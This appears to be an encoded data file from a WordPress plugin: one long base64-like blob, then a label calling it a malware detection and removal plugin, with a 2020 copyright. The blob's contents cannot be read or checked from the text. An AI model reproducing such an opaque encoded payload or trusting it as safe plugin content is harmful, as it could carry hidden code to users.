P7Q9LsuRxFaltGUFK1R30fPppL2RI+ntAE7n2nEcNi/trh+QZmgwztM8kYHa7tS6Y33vCFaSopAcSuYK1CrfLGFMDypba4qRJRyrGEQ24tyxHWPvDMmGpzvcLqA/EhmATJK4FdEKP9wItxN8c5KLY1t6ax9T0G0oDDtOoXibu/z8XkLElT8qhNnByS00U+BXg8n3fHeeiTmaRPDuRDKNmpDNLuuczewAUJL85MbY2RxQE593JWbILAlJ+V2ePEYuwutJb0rTUu2DTwbZddj/Bnwyxl4ZKKk+iUL7jdesVOM/1qUkFbIS41L/QLm/VExcKJEoGDZPYbrcarOyxvLj/8t19KoHETXHZY98ZlfsopbvZUmkO6AhMxMJzahSK0h1e4hW3usr8MvPpW8c6ExYRhvbFTC/XSW2SwLozDx1CI1XTyJ7SsZY5XlCLI34xMBGvnIe/Mp68HCbHULWFeSM7U8bbRxmgaJtC35s6IrzqafiqxjeF4WUkFzr5QWCvZWe3TVfEMoxKbb4gTmf1bFv7ibBIUPigBETexcJvh5xADmUNsX9upBL0AdkKFTxaaGP6A4MlmoEYLLdSTP9HhJZqg88F9GvpT/8ETM5/tdF+LJaALbBzx3cVeG0QCvchYak+an+O5rZmwvYT/GdekIrNRfLCWQ1/qKB3cKBavKVS6TDShQ91FcdKcaVIV3Wk/QATA3Btqu1VGEs6mBqyy1EropQluMvVsGKY+oC5X0E9VIuEUho9A3n7ec0aIgY2pedukb9NZaE/8BCOrVra2yJ0oeEazQHWNjKlXVjep5rpa2KkDuAkyEszDFllo8Y8vTJ7kIqMe9jquIEprXeMzfT20ivilReI/bCuzuH+S4tRNQe2xc7u6GF19mcPQG/GV2E5GodM0OLeaI7TXlbzNcduKrb5un8fRvS2nmKvAj6xzZl2sRSIipX+DH+YnV/nNti/D+OITuZZeO9Ikaq+JOv54Waf0x0dbkaGiTqwNUi50fi4ewugddaZ1ixPJKkgfmmNSZMwo/KO389dDYpKUYRKIo/MFIv/dEAfRAJfhu4IyXAK4uR+I0AKRCM3KAW4nvlS+a3n2VdpvG00aRB/uTFQ0RduXGYob3YbxPwmdB9VIT/Fz5Fp/NhMcfABy1wL5jqGT6N6UZVblyBjLSe8mkDgWTz0m2//lcGRYagrL4dMhJp0xr0LjkMrlor/YlB5sBZf/DxiDPdAsV+Zm3O+pk080iVVG5zI0h0dAFJfn4Fk3bxnRxRzb68i9dnRRuWPZc8xxleY7cDOhgS/LG7Rb+3QmKTc8WRbwwNmdQTJvjsx80oHzfa/ftzs7Tf2i/DDCXR0aY+QqKNwHiOSxDfO1Ska1W7guCD9yU+8y4f79eGeBlef
Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.